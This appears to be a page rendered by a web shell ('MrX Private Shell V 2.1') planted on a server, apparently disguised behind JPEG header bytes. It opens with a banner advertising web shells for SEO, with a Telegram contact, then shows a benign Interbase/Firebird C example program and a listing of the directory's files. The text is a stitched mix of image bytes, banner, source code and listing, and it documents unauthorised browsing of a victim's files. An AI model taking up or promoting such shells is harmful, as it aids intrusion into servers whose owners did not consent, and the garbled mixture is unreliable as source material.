����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/*
* Program type: API Interface
*
* Description:
* This program adds several departments with small default
* budgets, using 'execute immediate' statement.
* Then, a prepared statement, which doubles budgets for
* departments with low budgets, is executed.
* The contents of this file are subject to the Interbase Public
* License Version 1.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy
* of the License at http://www.Inprise.com/IPL.html
*
* Software distributed under the License is distributed on an
* "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
* or implied. See the License for the specific language governing
* rights and limitations under the License.
*
* The Original Code was created by Inprise Corporation
* and its predecessors. Portions created by Inprise Corporation are
* Copyright (C) Inprise Corporation.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "example.h"
#include <ibase.h>
#define MAXLEN 256
#define DNAMELEN 25
#define DNOLEN 3
int getins (char *, int);
int cleanup (void);
isc_db_handle DB = 0; /* database handle */
isc_tr_handle trans = 0; /* transaction handle */
ISC_STATUS_ARRAY status; /* status vector */
char Db_name[128];
int main (int argc, char** argv)
{
int n = 0;
char exec_str[MAXLEN];
char prep_str[MAXLEN];
isc_stmt_handle double_budget = 0; /* statement handle */
if (argc > 1)
strcpy(Db_name, argv[1]);
else
strcpy(Db_name, "employee.fdb");
if (isc_attach_database(status, 0, Db_name, &DB, 0, NULL))
{
ERREXIT(status, 1)
}
cleanup();
/*
* Prepare a statement, which may be executed more than once.
*/
strcpy(prep_str,
"UPDATE DEPARTMENT SET budget = budget * 2 WHERE budget < 100000");
/* Allocate a statement. */
if (isc_dsql_allocate_statement(status, &DB, &double_budget))
{
ERREXIT(status, 1)
}
if (isc_start_transaction(status, &trans, 1, &DB, 0, NULL))
{
ERREXIT(status, 1)
}
/* Prepare the statement. */
if (isc_dsql_prepare(status, &trans, &double_budget, 0, prep_str, 3, NULL))
{
ERREXIT(status, 1)
}
/*
* Add new departments, using 'execute immediate'.
* Build each 'insert' statement, using the supplied parameters.
* Since these statements will not be needed after they are executed,
* use 'execute immediate'.
*/
while (getins(exec_str, n++))
{
printf("\nExecuting statement:\n%d:\t%s;\n", n, exec_str);
if (isc_dsql_execute_immediate(status, &DB, &trans, 0, exec_str, 3, NULL))
{
ERREXIT(status, 1)
}
}
/*
* Execute a previously prepared statement.
*/
printf("\nExecuting a prepared statement:\n\t%s;\n\n", prep_str);
if (isc_dsql_execute(status, &trans, &double_budget, 3, NULL))
{
ERREXIT(status, 1)
}
if (isc_dsql_free_statement(status, &double_budget, DSQL_drop))
{
ERREXIT(status, 1)
}
if (isc_commit_transaction(status, &trans))
{
ERREXIT(status, 1)
}
if (isc_detach_database(status, &DB))
{
ERREXIT(status, 1)
}
return 0;
}
/*
* Construct an 'insert' statement from the supplied parameters.
*/
int getins (char* line, int line_no)
{
static char * Dept_data[] =
{
"117", "Field Office: Hong Kong", "110",
"118", "Field Office: Australia", "110",
"119", "Field Office: New Zealand", "110",
0
};
char dept_no[4];
char department[30];
char dept_head[4];
if (Dept_data[3 * line_no] == 0)
return 0;
strcpy(dept_no, Dept_data[3 * line_no]);
strcpy(department, Dept_data[3 * line_no + 1]);
strcpy(dept_head, Dept_data[3 * line_no + 2]);
sprintf(line, "INSERT INTO DEPARTMENT (dept_no, department, head_dept) \
VALUES ('%s', '%s', '%s')", dept_no, department, dept_head);
return 1;
}
/*
* Delete old data.
*/
int cleanup (void)
{
if (isc_start_transaction(status, &trans, 1, &DB, 0, NULL))
{
ERREXIT(status, 1)
}
if (isc_dsql_execute_immediate(status, &DB, &trans, 0,
"DELETE FROM department WHERE dept_no IN ('117', '118', '119')", 1, 0L))
{
ERREXIT(status, 1)
}
if (isc_commit_transaction(status, &trans))
{
ERREXIT(status, 1)
}
return 0;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api1.c | File | 4.18 KB | 0644 |
|
| api10.c | File | 5.88 KB | 0644 |
|
| api11.c | File | 5.63 KB | 0644 |
|
| api12.c | File | 10.63 KB | 0644 |
|
| api13.c | File | 5.65 KB | 0644 |
|
| api14.e | File | 6.14 KB | 0644 |
|
| api15.c | File | 6.6 KB | 0644 |
|
| api16.c | File | 6.36 KB | 0644 |
|
| api16t.c | File | 5.04 KB | 0644 |
|
| api2.c | File | 4.67 KB | 0644 |
|
| api3.c | File | 4.52 KB | 0644 |
|
| api4.c | File | 4.46 KB | 0644 |
|
| api5.c | File | 3.74 KB | 0644 |
|
| api6.c | File | 7.19 KB | 0644 |
|
| api7.c | File | 5.4 KB | 0644 |
|
| api8.c | File | 4.74 KB | 0644 |
|
| api9.c | File | 4.87 KB | 0644 |
|
| api9f.c | File | 7.08 KB | 0644 |
|
| api9f.def | File | 819 B | 0644 |
|
| api9f.sql | File | 1.02 KB | 0644 |
|
| api9fdrop.sql | File | 964 B | 0644 |
|
| apifull.c | File | 13.2 KB | 0644 |
|
| example.def | File | 975 B | 0644 |
|
| winevent.c | File | 12.53 KB | 0644 |
|
| winevent.def | File | 1.15 KB | 0644 |
|
| winevent.rc | File | 965 B | 0644 |
|